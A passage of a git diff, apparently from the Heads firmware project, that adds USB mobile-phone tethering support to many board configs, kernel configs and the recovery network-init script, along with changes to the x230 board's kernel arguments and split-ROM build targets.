b/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config index e008d6f59..7aeeff62a 100644 --- a/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config b/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config index d913a4c11..851541367 100644 --- a/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K1000m-maximized/UNTESTED_w530-dgpu-K1000m-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config b/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config index b006a12c9..72ffa9bce 100644 --- a/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K2000m-hotp-maximized/UNTESTED_w530-dgpu-K2000m-hotp-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config b/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config index 4de99bc92..9cb1abcf2 100644 --- a/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config +++ b/boards/UNTESTED_w530-dgpu-K2000m-maximized/UNTESTED_w530-dgpu-K2000m-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index d248c8c3b..b9c0fae10 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -18,6 +18,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 431079d4c..2b951c4ad 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 0a09feb11..3ae3140ef 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -16,6 +16,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 8c2a5e132..7fbe36d81 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -16,6 +16,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 4df8061d5..48929000d 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -31,6 +31,7 @@ CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 76a6691a6..4b78c22ef 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index f210e638e..f0adab5a8 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 60006edda..c0c56bc23 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -31,6 +31,7 @@ CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 905da3c27..dc583c8e2 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -18,6 +18,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index abbfd0c8f..4d5490815 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -18,6 +18,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 2f68545fd..de6311540 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -28,6 +28,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 040d99905..1ae2225da 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -20,6 +20,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index a2e616600..811ecda6c 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -18,6 +18,9 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y + +#Additional features export CONFIG_USB_KEYBOARD_REQUIRED=y CONFIG_CRYPTSETUP2=y @@ -44,7 +47,6 @@ CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 #Nitrokey Storage admin tool CONFIG_NKSTORECLI=n @@ -64,14 +66,38 @@ CONFIG_DROPBEAR=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_KERNEL_ADD="" -export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on intel_iommu=igfx_off" +export CONFIG_BOOT_KERNEL_REMOVE="quiet" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" -#Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP -BOARD_TARGETS := xx30_me_blobs +# xx30-*-maximized boards require of you initially call one of the +# following to have gbe.bin ifd.bin and me.bin +# - blobs/xx30/download_clean_me.sh +# To download Lenovo original ME binary, neuter+deactivate ME, produce +# reduced IFD ME region and expanded BIOS IFD region. +# - blobs/xx30/extract.sh +# To extract from backuped 8M (bottom SPI) ME binary, GBE and IFD blobs. +# +# This board has two SPI flash chips, an 8 MB that holds the IFD, +# the ME image and part of the coreboot image, and a 4 MB one that +# has the rest of the coreboot and the reset vector. +# +# As a consequence, this replaces the need of having to flash x230-flash +# and expands available CBFS region (11.5Mb available CBFS space) +# +# When flashing via an external programmer it is easiest to have +# two separate files for these pieces. +all: $(board_build)/$(CB_OUTPUT_FILE) + @sha256sum $@ | tee -a "$(HASHES)" + +all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom +$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-bottom.rom: $(board_build)/$(CB_OUTPUT_FILE) + $(call do,DD 8MB,$@,dd of=$@ if=$< bs=65536 count=128 skip=0 status=none) + @sha256sum $@ | tee -a "$(HASHES)" -# Generate split 4MB top / 8MB bottom ROMs -BOARD_TARGETS += split_8mb4mb +all: $(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom +$(board_build)/heads-$(BOARD)-$(HEADS_GIT_VERSION)-top.rom: $(board_build)/$(CB_OUTPUT_FILE) + $(call do,DD 4MB,$@,dd of=$@ if=$< bs=65536 count=64 skip=128 status=none) + @sha256sum $@ | tee -a "$(HASHES)" diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 938e96c7e..f13767766 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -28,6 +28,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 58a81476d..11da6fd55 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -20,6 +20,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 6a62f851a..7a9cfec82 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -51,6 +51,7 @@ CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/config/linux-c216.config b/config/linux-c216.config index 68383a4f8..252a7a65f 100644 --- a/config/linux-c216.config +++ b/config/linux-c216.config @@ -1141,6 +1141,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1262,7 +1263,48 @@ CONFIG_E1000E_HWTS=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set # CONFIG_WLAN is not set # diff --git a/config/linux-t440p.config b/config/linux-t440p.config index fd144e3e0..7e520b220 100644 --- a/config/linux-t440p.config +++ b/config/linux-t440p.config @@ -1195,6 +1195,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1316,7 +1317,48 @@ CONFIG_E1000E_HWTS=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set # CONFIG_WLAN is not set # diff --git a/config/linux-w541.config b/config/linux-w541.config index fd144e3e0..7e520b220 100644 --- a/config/linux-w541.config +++ b/config/linux-w541.config @@ -1195,6 +1195,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1316,7 +1317,48 @@ CONFIG_E1000E_HWTS=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set # CONFIG_WLAN is not set # diff --git a/config/linux-x230-maximized.config b/config/linux-x230-maximized.config index b2e2d1df1..b408cd0e5 100644 --- a/config/linux-x230-maximized.config +++ b/config/linux-x230-maximized.config @@ -1138,6 +1138,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y +CONFIG_MII=m CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set @@ -1259,7 +1260,48 @@ CONFIG_E1000E_HWTS=y # CONFIG_PPP is not set # CONFIG_SLIP is not set -# CONFIG_USB_NET_DRIVERS is not set +CONFIG_USB_NET_DRIVERS=m +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +# CONFIG_USB_LAN78XX is not set +CONFIG_USB_USBNET=m +# CONFIG_USB_NET_AX8817X is not set +# CONFIG_USB_NET_AX88179_178A is not set +CONFIG_USB_NET_CDCETHER=m +CONFIG_USB_NET_CDC_EEM=m +CONFIG_USB_NET_CDC_NCM=m +# CONFIG_USB_NET_HUAWEI_CDC_NCM is not set +# CONFIG_USB_NET_CDC_MBIM is not set +# CONFIG_USB_NET_DM9601 is not set +# CONFIG_USB_NET_SR9700 is not set +# CONFIG_USB_NET_SR9800 is not set +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +# CONFIG_USB_NET_NET1080 is not set +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=m +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +# CONFIG_USB_BELKIN is not set +# CONFIG_USB_ARMLINUX is not set +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +# CONFIG_USB_NET_ZAURUS is not set +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_USB_NET_CH9200 is not set +# CONFIG_USB_NET_AQC111 is not set # CONFIG_WLAN is not set # diff --git a/initrd/bin/network-init-recovery b/initrd/bin/network-init-recovery index d952d1759..ed430f018 100755 --- a/initrd/bin/network-init-recovery +++ b/initrd/bin/network-init-recovery @@ -4,58 +4,104 @@ TRACE_FUNC -# bring up the ethernet; maybe should do DHCP? +# bring up the ethernet interface ifconfig lo 127.0.0.1 +echo "Loading Ethernet network modules..." network_modules="e1000 e1000e igb sfc mdio mlx4_core mlx4_en" -for module in `echo $network_modules`; do +for module in $(echo $network_modules); do if [ -f /lib/modules/$module.ko ]; then - insmod /lib/modules/$module.ko + #check if module is already loaded and load it if not + lsmod | grep -q $module || insmod /lib/modules/$module.ko fi done -if [ -e /sys/class/net/eth0 ]; then +#Tethering over USB for Mobile phones supporting CDC (Android Pixel 6a+, Librem phone, etc.) +if [ -e /lib/modules/cdc_ether.ko ]; then + #first enable USB controllers + enable_usb + echo "" + echo "Please verify that your mobile (CDC NCM/EEM tethering compatible phone) is networked in the desired way (WIFI/mobile + VPN/Orbot/etc)" + echo "Please connect mobile phone to this machine's fast USB port (blue identified) through a known working data cable" + echo "Please enable USB tethering prior of going further (Android: select 'Charging this device via USB' notification and enable tethering option)" + read -p "Press Enter to continue now or wait 30 seconds..." -n 1 -r -t 30 + + network_modules="mii usbnet cdc_ether cdc_ncm cdc_eem" + echo "Loading USB tethering network related modules: $network_modules..." + for module in $(echo $network_modules); do + if [ -f /lib/modules/$module.ko ]; then + #check if module is already loaded and load it if not + lsmod | grep -q $module || insmod /lib/modules/$module.ko + fi + done + if ! [ -e /sys/class/net/usb0 ]; then + echo "" + echo "Tethering USB network interface was NOT detected with loaded kernel modules : $network_modules" + echo "Please check your phone's linux drivers requirements" + echo "Note that RNDIS kernel module inclusion was discussed and rejected due to security implications and planned deprecation under Linux kernel altogether" + echo "CDC NCM/CDC EEM support is known to be available on a majority of Android/GrapheneOS as well as Librem phones" + echo "Non-exhaustive exeptions: Pixel 4a* known to only tether over RNDIS and won't be supported" + echo "Apple phones won't be supported due to size and complexity of the drivers and toolstack required to support tethering" + read -p "Press Enter to continue now or wait 30 seconds..." -n 1 -r -t 30 + fi +fi + +if [ -e /sys/class/net/usb0 ]; then + dev=usb0 + echo "USB tethering network interface detected as $dev" +elif [ -e /sys/class/net/eth0 ]; then + dev=eth0 + echo "Ethernet network interface detected as $dev" #Randomize eth0 MAC address of maximized boards if echo "$CONFIG_BOARD" | grep -q maximized; then - ifconfig eth0 down - echo "Generating random MAC address (might take a while)..." + ifconfig $dev down + echo "Generating random MAC address..." mac=$(generate_random_mac_address) echo "Assigning randomly generated MAC: $mac to eth0..." - ifconfig eth0 hw ether $mac - ifconfig eth0 up + ifconfig $dev hw ether $mac + echo "Bringing up $dev... Connect a network cable to the $dev port and make sure status LEDs are on" + ifconfig $dev up fi +fi - # Set up static IP - if [ ! -z "$CONFIG_BOOT_STATIC_IP" ]; then - ifconfig eth0 $CONFIG_BOOT_STATIC_IP - #Get ip from DHCP - elif [ -e /sbin/udhcpc ];then - if udhcpc -T 1 -q; then - if [ -e /sbin/ntpd ]; then - DNS_SERVER=$(grep nameserver /etc/resolv.conf|awk -F " " {'print $2'}) - killall ntpd 2&>1 > /dev/null - if ! ntpd -d -N -n -q -p $DNS_SERVER > /dev/ttyprintk; then - if ! ntpd -d -d -N -n -q -p ntp.pool.org> /dev/ttyprintk; then - echo "NTP sync unsuccessful." > /dev/tty0 - fi +# Set up static IP +if [ ! -z "$CONFIG_BOOT_STATIC_IP" ]; then + echo "Setting static IP: $CONFIG_BOOT_STATIC_IP" + ifconfig $dev $CONFIG_BOOT_STATIC_IP + echo "No NTP sync with static IP: no DNS server nor gateway defined, set time manually" +elif [ -e /sbin/udhcpc ]; then + echo "Getting IP from first DHCP server answering. This may take a while..." + if udhcpc -T 1 -i $dev -q; then + if [ -e /sbin/ntpd ]; then + DNS_SERVER=$(grep nameserver /etc/resolv.conf | awk -F " " {'print $2'}) + killall ntpd 2 &>1 >/dev/null + echo "Attempting to sync time with NTP server: $DNS_SERVER..." + if ! ntpd -d -N -n -q -p $DNS_SERVER; then + echo "NTP sync unsuccessful with DNS server" + echo "Attempting NTP time sync with pool.ntp.org..." + if ! ntpd -d -d -N -n -q -p pool.ntp.org; then + echo "NTP sync unsuccessful." + else + echo "NTP time sync successful." fi - hwclock -w - echo "" > /dev/tty0 - date=`date "+%Y-%m-%d %H:%M:%S %Z"` - echo "Time: $date" > /dev/tty0 fi - fi - fi - - ifconfig eth0 > /dev/ttyprintk - - if [ -e /bin/dropbear ]; then - # Set up the ssh server, allow root logins and log to stderr - if [ ! -d /etc/dropbear ]; then - mkdir /etc/dropbear + echo "Syncing hardware clock with system time in UTC/GMT timezone... NOT LOCAL TIMEZONE!" + hwclock -w + echo "" + date=$(date "+%Y-%m-%d %H:%M:%S %Z") + echo "Time: $date" fi - dropbear -B -R 2>/dev/ttyprintk fi - echo "" > /dev/tty0 - ifconfig eth0 | head -2 > /dev/tty0 fi + +if [ -e /bin/dropbear ]; then + # Set up the ssh server, allow root logins and log to stderr + if [ ! -d /etc/dropbear ]; then + mkdir /etc/dropbear + fi + echo "Starting dropbear ssh server..." + dropbear -B -R +fi +echo "" +echo "Network setup complete:" +ifconfig diff --git a/modules/linux b/modules/linux index 07b592a10..ea08916d9 100644 --- a/modules/linux +++ b/modules/linux @@ -125,6 +125,13 @@ linux_modules-$(CONFIG_LINUX_USB) += drivers/usb/storage/usb-storage.ko #USB modules when a USB keyboard is defined in board config linux_modules-$(CONFIG_SUPPORT_USB_KEYBOARD) += drivers/hid/usbhid/usbhid.ko +#USB modules for Mobile USB Tethering (Most Android phones, Librem phone, etc) +linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/mii.ko +linux_modules-$(CONFIG_MOBILE_TETHERING) += drivers/net/usb/usbnet.ko +linux_modules-$(CONFIG_MOBILE_TETHERING) += 